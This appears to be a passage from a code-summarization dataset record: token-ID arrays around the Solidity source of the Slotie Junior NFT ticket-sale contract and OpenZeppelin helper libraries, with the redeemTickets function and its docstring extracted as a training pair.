1769,
203,
565,
289,
203,
203,
377,
445,
10851,
23164,
12,
11890,
5034,
2430,
13,
1071,
1338,
5541,
95,
203,
540,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
540,
4552,
67,
52,
1099,
1792,
4429,
33,
7860,
31,
203,
565,
289,
203,
203,
203,
565,
445,
312,
474,
12,
11890,
2313,
7922,
5157,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
3639,
2583,
12,
482,
30746,
2520,
3896,
9334,
315,
30746,
353,
486,
2695,
8863,
203,
3639,
2583,
12,
4782,
30746,
67,
7698,
1441,
67,
3194,
67,
50,
4464,
18,
16411,
12,
2696,
951,
5157,
13,
1648,
1234,
18,
1132,
16,
315,
41,
1136,
460,
3271,
353,
11332,
8863,
203,
3639,
2583,
12,
2696,
951,
5157,
1648,
4552,
67,
52,
1099,
1792,
4429,
16,
315,
2568,
1338,
312,
474,
2923,
1300,
434,
2430,
1534,
2492,
8863,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
411,
4238,
67,
3088,
1283,
16,
315,
5548,
272,
1673,
596,
8863,
203,
3639,
2583,
12,
4963,
3088,
1283,
7675,
1289,
12,
2696,
951,
5157,
13,
411,
4238,
67,
3088,
1283,
16,
315,
5048,
11339,
14467,
8863,
203,
203,
3639,
389,
81,
474,
5157,
12,
2696,
951,
5157,
16,
3576,
18,
15330,
1769,
203,
203,
565,
289,
203,
203,
1377,
445,
389,
81,
474,
5157,
12,
11890,
2313,
7922,
5157,
269,
1758,
389,
869,
13,
2713,
288,
203,
5411,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
5411,
389,
4626,
49,
474,
24899,
869,
16,
7922,
5157,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
6617,
537,
12,
11890,
5034,
389,
2316,
548,
16,
1758,
389,
2080,
13,
2713,
5024,
288,
203,
3639,
2583,
12,
8443,
951,
24899,
2316,
548,
13,
422,
1234,
18,
15330,
16,
315,
4400,
531,
22527,
8863,
203,
3639,
353,
31639,
1290,
1595,
24899,
2080,
16,
1758,
12,
2211,
10019,
203,
565,
289,
203,
203,
203,
565,
445,
1147,
3098,
12,
11890,
5034,
1147,
548,
13,
3849,
1071,
1476,
1135,
12,
1080,
3778,
13,
288,
203,
3639,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
3639,
2583,
24899,
1808,
12,
2316,
548,
3631,
315,
654,
39,
27,
5340,
2277,
30,
3699,
444,
434,
1661,
19041,
1147,
8863,
203,
3639,
327,
533,
12,
21457,
18,
3015,
4420,
329,
24899,
1969,
3098,
9334,
315,
7860,
19,
3113,
2254,
5034,
12,
2316,
548,
2934,
10492,
9334,
2206,
4165,
18,
1977,
7923,
1769,
203,
203,
565,
289,
203,
203,
377,
445,
389,
1969,
3098,
1435,
3849,
2713,
1476,
1135,
12,
1080,
3778,
13,
288,
203,
3639,
327,
389,
3901,
2171,
3006,
31,
203,
565,
289,
203,
203,
1377,
445,
444,
28590,
12,
6430,
389,
8774,
3668,
13,
1071,
1338,
5541,
95,
203,
3639,
17781,
273,
389,
8774,
3668,
31,
203,
565,
289,
203,
203,
203,
289,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// Developed by KG Technologies (https://kgtechnologies.io)
pragma solidity 0.8.11;
/**
_____ _ ____ _______ _____ ______ _ _ _ _ _ _____ ____ _____ _____ _ ______
/ ____| | / __ \__ __|_ _| ____| | | | | | \ | |_ _/ __ \| __ \ / ____| /\ | | | ____|
| (___ | | | | | | | | | | | |__ | | | | | \| | | || | | | |__) | | (___ / \ | | | |__
\___ \| | | | | | | | | | | __| _ | | | | | . ` | | || | | | _ / \___ \ / /\ \ | | | __|
____) | |___| |__| | | | _| |_| |____ | |__| | |__| | |\ |_| || |__| | | \ \ ____) / ____ \| |____| |____
|_____/|______\____/ |_| |_____|______| \____/ \____/|_| \_|_____\____/|_| \_\ |_____/_/ \_\______|______|
*/
import "@openzeppelin/contracts/access/Ownable.sol";
import { MerkleProof } from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @notice Represents Slotie Junior Smart Contract
*/
contract ISlotieJr {
/**
* @dev ERC-721 INTERFACE
*/
function ownerOf(uint256 tokenId) public view virtual returns (address) {}
/**
* @dev CUSTOM INTERFACE
*/
function mintTo(uint256 amount, address _to) external {}
function maxMintPerTransaction() public returns (uint256) {}
}
/**
* @title SlotieJrTicketSale.
*
* @author KG Technologies (https://kgtechnologies.io).
*
* @notice This Smart Contract can be used to sell a fixed amount of tickets where some of them are
* sold to permissioned wallets and the others are sold to the general public.
* The tickets can then be used to mint a corresponding amount of NFTs.
*
* @dev The primary mode of verifying permissioned actions is through Merkle Proofs
* which are generated off-chain.
*/
contract SlotieJrTicketSale is Ownable {
/**
* @notice The Smart Contract of Slotie Junior
* @dev ERC-721 Smart Contract
*/
ISlotieJr public immutable juniorNFT;
/**
* @dev MINT DATA
*/
uint256 public maxSupplyPermissioned = 1050;
uint256 public boughtPermissioned = 1;
uint256 public pricePermissioned = 0.2 ether;
uint256 public phaseOneStartTime = 1644519600;
uint256 public phaseOneDuration = 1 hours;
uint256 public phaseTwoStartTime = 1644523200;
uint256 public phaseTwoDuration = 5 minutes;
uint256 public maxSupplyOpen = 3900;
uint256 public boughtOpen = 1;
uint256 public limitOpen = 10;
uint256 public priceOpen = 0.3 ether;
uint256 public startTimeOpen = 1644523500;
mapping(address => uint256) public addressToTicketsOpen;
mapping(address => mapping(uint256 => uint256)) public addressToTicketsPermissioned;
mapping(address => uint256) public addressToMints;
/// @dev Initial value is randomly generated from https://www.random.org/
bytes32 public merkleRoot = 0xe788a23866da0e903934d723c44efe9da3f7265d053a8fed5c1036a78665f9c1;
/**
* @dev GIVEAWAY
*/
uint256 public maxSupplyGiveaway = 50;
uint256 public giveAwayRedeemed = 1;
mapping(address => uint256) public addressToGiveawayRedeemed;
bytes32 public giveAwayMerkleRoot = "";
/**
* @dev Events
*/
event ReceivedEther(address indexed sender, uint256 indexed amount);
event Purchase(address indexed buyer, uint256 indexed amount, bool indexed permissioned);
event RedeemTickets(address indexed redeemer, uint256 amount);
event RedeemGiveAway(address indexed redeemer, uint256 amount);
event setMaxSupplyPermissionedEvent(uint256 indexed maxSupply);
event setMaxSupplyOpenEvent(uint256 indexed maxSupply);
event setLimitOpenEvent(uint256 indexed limit);
event setPriceOpenEvent(uint256 indexed price);
event setMerkleRootEvent(bytes32 indexed merkleRoot);
event setGiveAwayMerkleRootEvent(bytes32 indexed merkleRoot);
event setGiveAwayMaxSupplyEvent(uint256 indexed newSupply);
event setPublicSaleStateEvent(bool indexed newState);
event setPricePermissionedEvent(uint256 indexed price);
event setPhaseOneStartTimeEvent(uint256 indexed time);
event setPhaseOneDurationEvent(uint256 indexed time);
event setPhaseTwoStartTimeEvent(uint256 indexed time);
event setPhaseTwoDurationEvent(uint256 indexed time);
event setStartTimeOpenEvent(uint256 indexed time);
event WithdrawAllEvent(address indexed to, uint256 amount);
constructor(
address _slotieJuniorAddress
) Ownable() {
juniorNFT = ISlotieJr(_slotieJuniorAddress);
}
/**
* @dev SALE
*/
/**
* @notice Validates the sale data for each phase per user
*
* @dev For each phase validates that the time is correct,
* that the ether supplied is correct and that the purchase
* amount doesn't exceed the max amount
*
* @param amount. The amount the user want's to purchase
* @param phase. The sale phase of the user
*/
function validatePhaseSpecificPurchase(uint256 amount, uint256 phase) internal {
if (phase == 1) {
require(block.timestamp >= phaseOneStartTime, "PHASE ONE SALE HASN'T STARTED YET");
require(block.timestamp < phaseOneStartTime + phaseOneDuration, "PHASE ONE SALE IS CLOSED");
require(msg.value >= pricePermissioned * amount, "ETHER SENT NOT CORRECT");
require(boughtPermissioned + amount - 1 <= maxSupplyPermissioned, "BUY AMOUNT GOES OVER MAX SUPPLY");
} else if (phase == 2) {
require(block.timestamp >= phaseTwoStartTime, "PHASE TWO SALE HASN'T STARTED YET");
require(block.timestamp < phaseTwoStartTime + phaseTwoDuration, "PHASE TWO SALE IS CLOSED");
require(msg.value >= pricePermissioned * amount, "ETHER SENT NOT CORRECT");
require(boughtPermissioned + amount - 1 <= maxSupplyPermissioned, "BUY AMOUNT GOES OVER MAX SUPPLY");
} else if (phase == 3) {
require(block.timestamp >= startTimeOpen, "PHASE ONE SALE HASN'T STARTED YET");
require(msg.value >= priceOpen * amount, "ETHER SENT NOT CORRECT");
require(boughtOpen + amount - 1 <= maxSupplyOpen, "BUY AMOUNT GOES OVER MAX SUPPLY");
} else {
revert("INCORRECT PHASE");
}
}
/**
* @notice Function to buy one or more tickets.
* @dev First the Merkle Proof is verified.
* Then the buy is verified with the data embedded in the Merkle Proof.
* Finally the tickets are bought to the user's wallet.
*
* @param amount. The amount of tickets to buy.
* @param buyMaxAmount. The max amount the user can buy.
* @param phase. The permissioned sale phase.
* @param proof. The Merkle Proof of the user.
*/
function buyPermissioned(uint256 amount, uint256 buyMaxAmount, uint256 phase, bytes32[] calldata proof)
external
payable {
/// @dev Verifies Merkle Proof submitted by user.
/// @dev All mint data is embedded in the merkle proof.
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, buyMaxAmount, phase));
require(MerkleProof.verify(proof, merkleRoot, leaf), "INVALID PROOF");
/// @dev Verify that user can perform permissioned sale based on the provided parameters.
require(address(juniorNFT) != address(0), "JUNIOR NFT SMART CONTRACT NOT SET");
require(merkleRoot != "", "PERMISSIONED SALE CLOSED");
require(phase > 0 && phase < 4, "INCORRECT PHASE SUPPLIED");
require(amount > 0, "HAVE TO BUY AT LEAST 1");
require(addressToTicketsPermissioned[msg.sender][phase] + amount <= buyMaxAmount, "BUY AMOUNT EXCEEDS MAX FOR USER");
/// @dev verify that user can perform permissioned sale based on phase of user
validatePhaseSpecificPurchase(amount, phase);
/// @dev update pre-sales and whale-sales seperately
if (phase < 3) {
boughtPermissioned += amount;
}
else {
boughtOpen += amount;
}
addressToTicketsPermissioned[msg.sender][phase] += amount;
emit Purchase(msg.sender, amount, true);
}
/**
* @notice Function to buy one or more tickets.
*
* @param amount. The amount of tickets to buy.
*/
function buyOpen(uint256 amount)
external
payable {
/// @dev Verifies that user can perform open sale based on the provided parameters.
require(address(juniorNFT) != address(0), "JUNIOR NFT SMART CONTRACT NOT SET");
require(block.timestamp >= startTimeOpen, "OPEN SALE CLOSED");
require(amount > 0, "HAVE TO BUY AT LEAST 1");
require(addressToTicketsOpen[msg.sender] + amount <= limitOpen, "BUY AMOUNT EXCEEDS MAX FOR USER");
require(boughtOpen + amount - 1 <= maxSupplyOpen, "BUY AMOUNT GOES OVER MAX SUPPLY");
require(msg.value >= priceOpen * amount, "ETHER SENT NOT CORRECT");
/// @dev Updates contract variables and buys `amount` tickets to users wallet
boughtOpen += amount;
addressToTicketsOpen[msg.sender] += amount;
emit Purchase(msg.sender, amount, false);
}
/**
* @dev MINTING
*/
/**
* @notice Allows users to redeem their tickets for NFTs.
*
*/
function redeemTickets() external {
uint256 ticketsOfSender =
addressToTicketsPermissioned[msg.sender][1] +
addressToTicketsPermissioned[msg.sender][2] +
addressToTicketsPermissioned[msg.sender][3] +
addressToTicketsOpen[msg.sender];
uint256 mintsOfSender = addressToMints[msg.sender];
uint256 mintable = ticketsOfSender - mintsOfSender;
require(mintable > 0, "NO MINTABLE TICKETS");
uint256 maxMintPerTx = juniorNFT.maxMintPerTransaction();
uint256 toMint = mintable > maxMintPerTx ? maxMintPerTx : mintable;
addressToMints[msg.sender] = addressToMints[msg.sender] + toMint;
juniorNFT.mintTo(toMint, msg.sender);
emit RedeemTickets(msg.sender, toMint);
}
/**
* @notice Function to redeem giveaway.
* @dev First the Merkle Proof is verified.
* Then the redeem is verified with the data embedded in the Merkle Proof.
* Finally the juniors are minted to the user's wallet.
*
* @param redeemAmount. The amount to redeem.
* @param proof. The Merkle Proof of the user.
*/
function redeemGiveAway(uint256 redeemAmount, bytes32[] calldata proof) external {
/// @dev Verifies Merkle Proof submitted by user.
/// @dev All giveaway data is embedded in the merkle proof.
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, redeemAmount));
require(MerkleProof.verify(proof, giveAwayMerkleRoot, leaf), "INVALID PROOF");
/// @dev Verifies that user can perform giveaway based on the provided parameters.
require(address(juniorNFT) != address(0), "JUNIOR NFT SMART CONTRACT NOT SET");
require(giveAwayMerkleRoot != "", "GIVEAWAY CLOSED");
require(redeemAmount > 0, "HAVE TO REDEEM AT LEAST 1");
require(addressToGiveawayRedeemed[msg.sender] == 0, "GIVEAWAY ALREADY REDEEMED");
require(giveAwayRedeemed + redeemAmount - 1 <= maxSupplyGiveaway, "GIVEAWAY AMOUNT GOES OVER MAX SUPPLY");
/// @dev Updates contract variables and mints `redeemAmount` juniors to users wallet
giveAwayRedeemed += redeemAmount;
addressToGiveawayRedeemed[msg.sender] = 1;
juniorNFT.mintTo(redeemAmount, msg.sender);
emit RedeemGiveAway(msg.sender, redeemAmount);
}
/**
* @dev OWNER ONLY
*/
/**
* @notice Change the maximum supply of tickets that are for sale in permissioned sale.
*
* @param newMaxSupply. The new max supply.
*/
function setMaxSupplyPermissioned(uint256 newMaxSupply) external onlyOwner {
maxSupplyPermissioned = newMaxSupply;
emit setMaxSupplyPermissionedEvent(newMaxSupply);
}
/**
* @notice Change the maximum supply of tickets that are for sale in open sale.
*
* @param newMaxSupply. The new max supply.
*/
function setMaxSupplyOpen(uint256 newMaxSupply) external onlyOwner {
maxSupplyOpen = newMaxSupply;
emit setMaxSupplyOpenEvent(newMaxSupply);
}
/**
* @notice Change the limit of tickets per wallet in open sale.
*
* @param newLimitOpen. The new max supply.
*/
function setLimitOpen(uint256 newLimitOpen) external onlyOwner {
limitOpen = newLimitOpen;
emit setLimitOpenEvent(newLimitOpen);
}
/**
* @notice Change the price of tickets that are for sale in open sale.
*
* @param newPriceOpen. The new price.
*/
function setPriceOpen(uint256 newPriceOpen) external onlyOwner {
priceOpen = newPriceOpen;
emit setPriceOpenEvent(newPriceOpen);
}
/**
* @notice Change the price of tickets that are for sale in permissioned sale.
*
* @param newPricePermissioned. The new price.
*/
function setPricePermissioned(uint256 newPricePermissioned) external onlyOwner {
pricePermissioned = newPricePermissioned;
emit setPricePermissionedEvent(newPricePermissioned);
}
/**
* @notice Change the merkleRoot of the sale.
*
* @param newRoot. The new merkleRoot.
*/
function setMerkleRoot(bytes32 newRoot) external onlyOwner {
merkleRoot = newRoot;
emit setMerkleRootEvent(newRoot);
}
/**
* @notice Delete the merkleRoot of the sale.
*/
function deleteMerkleRoot() external onlyOwner {
merkleRoot = "";
emit setMerkleRootEvent(merkleRoot);
}
/**
* @notice Change the merkleRoot of the giveaway.
*
* @param newRoot. The new merkleRoot.
*/
function setGiveAwayMerkleRoot(bytes32 newRoot) external onlyOwner {
giveAwayMerkleRoot = newRoot;
emit setGiveAwayMerkleRootEvent(newRoot);
}
/**
* @notice Change the max supply for the giveaway.
*
* @param newSupply. The new giveaway max supply.
*/
function setGiveAwayMaxSupply(uint256 newSupply) external onlyOwner {
maxSupplyGiveaway = newSupply;
emit setGiveAwayMaxSupplyEvent(newSupply);
}
/**
* @notice Change start time of the Phase One permissioned sale.
*
* @param newTime. The new time.
*/
function setPhaseOneStartTime(uint256 newTime) external onlyOwner {
phaseOneStartTime = newTime;
emit setPhaseOneStartTimeEvent(newTime);
}
/**
* @notice Change duration of the Phase One permissioned sale.
*
* @param newDuration. The new duration.
*/
function setPhaseOneDuration(uint256 newDuration) external onlyOwner {
phaseOneDuration = newDuration;
emit setPhaseOneDurationEvent(newDuration);
}
/**
* @notice Change start time of the Phase Two permissioned sale.
*
* @param newTime. The new time.
*/
function setPhaseTwoStartTime(uint256 newTime) external onlyOwner {
phaseTwoStartTime = newTime;
emit setPhaseTwoStartTimeEvent(newTime);
}
/**
* @notice Change duration of the Phase One permissioned sale.
*
* @param newDuration. The new duration.
*/
function setPhaseTwoDuration(uint256 newDuration) external onlyOwner {
phaseTwoDuration = newDuration;
emit setPhaseTwoDurationEvent(newDuration);
}
/**
* @notice Change start time of the open sale.
*
* @param newTime. The new time.
*/
function setStartTimeOpen(uint256 newTime) external onlyOwner {
startTimeOpen = newTime;
emit setStartTimeOpenEvent(newTime);
}
/**
* @dev FINANCE
*/
/**
* @notice Allows owner to withdraw funds generated from sale.
*
* @param _to. The address to send the funds to.
*/
function withdrawAll(address _to) external onlyOwner {
require(_to != address(0), "CANNOT WITHDRAW TO ZERO ADDRESS");
uint256 contractBalance = address(this).balance;
require(contractBalance > 0, "NO ETHER TO WITHDRAW");
payable(_to).transfer(contractBalance);
emit WithdrawAllEvent(_to, contractBalance);
}
/**
* @dev Fallback function for receiving Ether
*/
receive() external payable {
emit ReceivedEther(msg.sender, msg.value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
|
* @notice Allows users to redeem their tickets for NFTs./
|
function redeemTickets() external {
uint256 ticketsOfSender =
addressToTicketsPermissioned[msg.sender][1] +
addressToTicketsPermissioned[msg.sender][2] +
addressToTicketsPermissioned[msg.sender][3] +
addressToTicketsOpen[msg.sender];
uint256 mintsOfSender = addressToMints[msg.sender];
uint256 mintable = ticketsOfSender - mintsOfSender;
require(mintable > 0, "NO MINTABLE TICKETS");
uint256 maxMintPerTx = juniorNFT.maxMintPerTransaction();
uint256 toMint = mintable > maxMintPerTx ? maxMintPerTx : mintable;
addressToMints[msg.sender] = addressToMints[msg.sender] + toMint;
juniorNFT.mintTo(toMint, msg.sender);
emit RedeemTickets(msg.sender, toMint);
}
| 14,842,487 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
25619,
3677,
358,
283,
24903,
3675,
24475,
364,
423,
4464,
87,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
283,
24903,
6264,
2413,
1435,
3903,
288,
203,
3639,
2254,
5034,
24475,
951,
12021,
273,
7010,
5411,
1758,
774,
6264,
2413,
5041,
329,
63,
3576,
18,
15330,
6362,
21,
65,
397,
7010,
5411,
1758,
774,
6264,
2413,
5041,
329,
63,
3576,
18,
15330,
6362,
22,
65,
397,
7010,
5411,
1758,
774,
6264,
2413,
5041,
329,
63,
3576,
18,
15330,
6362,
23,
65,
397,
203,
5411,
1758,
774,
6264,
2413,
3678,
63,
3576,
18,
15330,
15533,
203,
3639,
2254,
5034,
312,
28142,
951,
12021,
273,
1758,
774,
49,
28142,
63,
3576,
18,
15330,
15533,
203,
3639,
2254,
5034,
312,
474,
429,
273,
24475,
951,
12021,
300,
312,
28142,
951,
12021,
31,
203,
203,
3639,
2583,
12,
81,
474,
429,
405,
374,
16,
315,
3417,
490,
3217,
2782,
399,
16656,
1584,
55,
8863,
203,
203,
3639,
2254,
5034,
943,
49,
474,
2173,
4188,
273,
525,
318,
9659,
50,
4464,
18,
1896,
49,
474,
2173,
3342,
5621,
203,
3639,
2254,
5034,
358,
49,
474,
273,
312,
474,
429,
405,
943,
49,
474,
2173,
4188,
692,
943,
49,
474,
2173,
4188,
294,
312,
474,
429,
31,
203,
540,
203,
3639,
1758,
774,
49,
28142,
63,
3576,
18,
15330,
65,
273,
1758,
774,
49,
28142,
63,
3576,
18,
15330,
65,
397,
358,
49,
474,
31,
203,
203,
3639,
525,
318,
9659,
50,
4464,
18,
81,
474,
774,
12,
869,
49,
474,
16,
1234,
18,
15330,
1769,
203,
3639,
3626,
868,
24903,
6264,
2413,
12,
3576,
18,
15330,
16,
358,
49,
474,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
